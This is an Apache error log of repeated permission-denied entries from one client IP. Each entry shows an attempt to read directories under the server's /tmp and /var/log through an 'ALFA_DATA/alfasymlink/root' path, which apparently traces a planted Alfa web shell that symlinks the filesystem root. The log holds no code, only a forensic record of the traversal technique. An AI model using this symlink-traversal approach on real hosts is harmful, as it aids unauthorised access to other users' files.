[Sun Oct 25 14:26:55.445054 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/cHkKHvtb84/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/cHkKHvtb84/' is executable
[Sun Oct 25 14:26:55.445081 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-jU4lmI/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-jU4lmI/' is executable
[Sun Oct 25 14:26:55.445100 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/lpa8ZwaWTY/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/lpa8ZwaWTY/' is executable
[Sun Oct 25 14:26:55.445115 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-ZhbUNd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-ZhbUNd/' is executable
[Sun Oct 25 14:26:55.445135 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Ild61SlCM8/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Ild61SlCM8/' is executable
[Sun Oct 25 14:26:55.445147 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oMgCKKTHTN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oMgCKKTHTN/' is executable
[Sun Oct 25 14:26:55.445165 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/zFtYW8EbIo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/zFtYW8EbIo/' is executable
[Sun Oct 25 14:26:55.445179 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/U8bmWQiMp6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/U8bmWQiMp6/' is executable
[Sun Oct 25 14:26:55.445191 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Iq7IAhBBCA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Iq7IAhBBCA/' is executable
[Sun Oct 25 14:26:55.445203 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/b3IROGlFVp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/b3IROGlFVp/' is executable
[Sun Oct 25 14:26:55.445215 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/3tecYTyNge/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/3tecYTyNge/' is executable
[Sun Oct 25 14:26:55.445233 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/GC947gwA7a/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/GC947gwA7a/' is executable
[Sun Oct 25 14:26:55.445288 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-mqjOkx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-mqjOkx/' is executable
[Sun Oct 25 14:26:55.445307 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/IDKGG9qSVX/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/IDKGG9qSVX/' is executable
[Sun Oct 25 14:26:55.445334 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/yIE1_o1ryC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/yIE1_o1ryC/' is executable
[Sun Oct 25 14:26:55.445355 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pSZX5IDLqg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pSZX5IDLqg/' is executable
[Sun Oct 25 14:26:55.445385 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/o3jCljYMJM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/o3jCljYMJM/' is executable
[Sun Oct 25 14:26:55.445433 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9rc35X03xH/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9rc35X03xH/' is executable
[Sun Oct 25 14:26:55.445515 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_UC3eRcjzH/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_UC3eRcjzH/' is executable
[Sun Oct 25 14:26:55.445616 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-E4Si3D/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-E4Si3D/' is executable
[Sun Oct 25 14:26:55.445633 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-ZaH2Al/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-ZaH2Al/' is executable
[Sun Oct 25 14:26:55.445645 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/bYpoGDqHwv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/bYpoGDqHwv/' is executable
[Sun Oct 25 14:26:55.445660 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WGtLrvNEoO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WGtLrvNEoO/' is executable
[Sun Oct 25 14:26:55.445686 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/KPaWqZiNSx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/KPaWqZiNSx/' is executable
[Sun Oct 25 14:26:55.445701 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-QEzZ3O/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-QEzZ3O/' is executable
[Sun Oct 25 14:26:55.445714 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/0sa9T3ad5i/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/0sa9T3ad5i/' is executable
[Sun Oct 25 14:26:55.445725 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Bx1XC6ECXC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Bx1XC6ECXC/' is executable
[Sun Oct 25 14:26:55.445737 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/EB_JgHXTS_/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/EB_JgHXTS_/' is executable
[Sun Oct 25 14:26:55.445749 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/S7yeadvPLt/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/S7yeadvPLt/' is executable
[Sun Oct 25 14:26:55.445761 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Z33Xr5YNYQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Z33Xr5YNYQ/' is executable
[Sun Oct 25 14:26:55.445788 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9qR6QZfgjM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9qR6QZfgjM/' is executable
[Sun Oct 25 14:26:55.445802 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/1f5_lXm747/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/1f5_lXm747/' is executable
[Sun Oct 25 14:26:55.445842 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kGbyt5GibL/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kGbyt5GibL/' is executable
[Sun Oct 25 14:26:55.445864 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nvY9ED8VzZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nvY9ED8VzZ/' is executable
[Sun Oct 25 14:26:55.445890 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Re609yu1zD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Re609yu1zD/' is executable
[Sun Oct 25 14:26:55.445918 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6NbtUbNDlC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6NbtUbNDlC/' is executable
[Sun Oct 25 14:26:55.445946 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/UzG84SehML/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/UzG84SehML/' is executable
[Sun Oct 25 14:26:55.445973 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/W8MHf4Zxj7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/W8MHf4Zxj7/' is executable
[Sun Oct 25 14:26:55.445992 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/2rVIel3WrA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/2rVIel3WrA/' is executable
[Sun Oct 25 14:26:55.446006 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-chronyd.service-ZW3YbV/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-chronyd.service-ZW3YbV/' is executable
[Sun Oct 25 14:26:55.446018 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/cDinXPzzIs/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/cDinXPzzIs/' is executable
[Sun Oct 25 14:26:55.446038 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/r7NY5hafpJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/r7NY5hafpJ/' is executable
[Sun Oct 25 14:26:55.446052 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Qz4yTy6bRg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Qz4yTy6bRg/' is executable
[Sun Oct 25 14:26:55.446068 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/fGFl3Hs6F6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/fGFl3Hs6F6/' is executable
[Sun Oct 25 14:26:55.446095 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-GVsiJc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-GVsiJc/' is executable
[Sun Oct 25 14:26:55.446116 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-B8Ejq3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-B8Ejq3/' is executable
[Sun Oct 25 14:26:55.446134 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/A4pXv2TKkc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/A4pXv2TKkc/' is executable
[Sun Oct 25 14:26:55.446148 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-5xW5XD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-5xW5XD/' is executable
[Sun Oct 25 14:26:55.446170 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PbgIeBycdi/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PbgIeBycdi/' is executable
[Sun Oct 25 14:26:55.446183 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/uoip5FWHmS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/uoip5FWHmS/' is executable
[Sun Oct 25 14:26:55.446195 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Nisnt6W17S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Nisnt6W17S/' is executable
[Sun Oct 25 14:26:55.446207 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TYWco4I01R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TYWco4I01R/' is executable
[Sun Oct 25 14:26:55.446227 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/HsbhoqpxvF/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/HsbhoqpxvF/' is executable
[Sun Oct 25 14:26:55.446247 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/com.google.Chrome.RuHS4J/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/com.google.Chrome.RuHS4J/' is executable
[Sun Oct 25 14:26:55.446263 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/73W4Upx2xZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/73W4Upx2xZ/' is executable
[Sun Oct 25 14:26:55.446299 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/netAn5lB7R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/netAn5lB7R/' is executable
[Sun Oct 25 14:26:55.446322 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/fnSpdRPZXM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/fnSpdRPZXM/' is executable
[Sun Oct 25 14:26:55.446336 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/iikh7iS_bx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/iikh7iS_bx/' is executable
[Sun Oct 25 14:26:55.446352 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pRcXpLxgau/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pRcXpLxgau/' is executable
[Sun Oct 25 14:26:55.446370 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/bxaVZth3VS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/bxaVZth3VS/' is executable
[Sun Oct 25 14:26:55.446387 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/qoKgRIpeKE/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/qoKgRIpeKE/' is executable
[Sun Oct 25 14:26:55.446400 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/FtHSIHY9fJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/FtHSIHY9fJ/' is executable
[Sun Oct 25 14:26:55.446417 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/k7tPBxTQIo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/k7tPBxTQIo/' is executable
[Sun Oct 25 14:26:55.446430 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XP6cTUswRK/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XP6cTUswRK/' is executable
[Sun Oct 25 14:26:55.446448 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ouS9dGGoxk/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ouS9dGGoxk/' is executable
[Sun Oct 25 14:26:55.446463 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-1KIJJh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-1KIJJh/' is executable
[Sun Oct 25 14:26:55.446490 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/mFSuYYVNz9/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/mFSuYYVNz9/' is executable
[Sun Oct 25 14:26:55.446491 2026] [core:crit] [pid 2875796:tid 2875796] (13)Permission denied: [client 76.135.135.39:50940] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/log/sssd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/log/sssd/' is executable
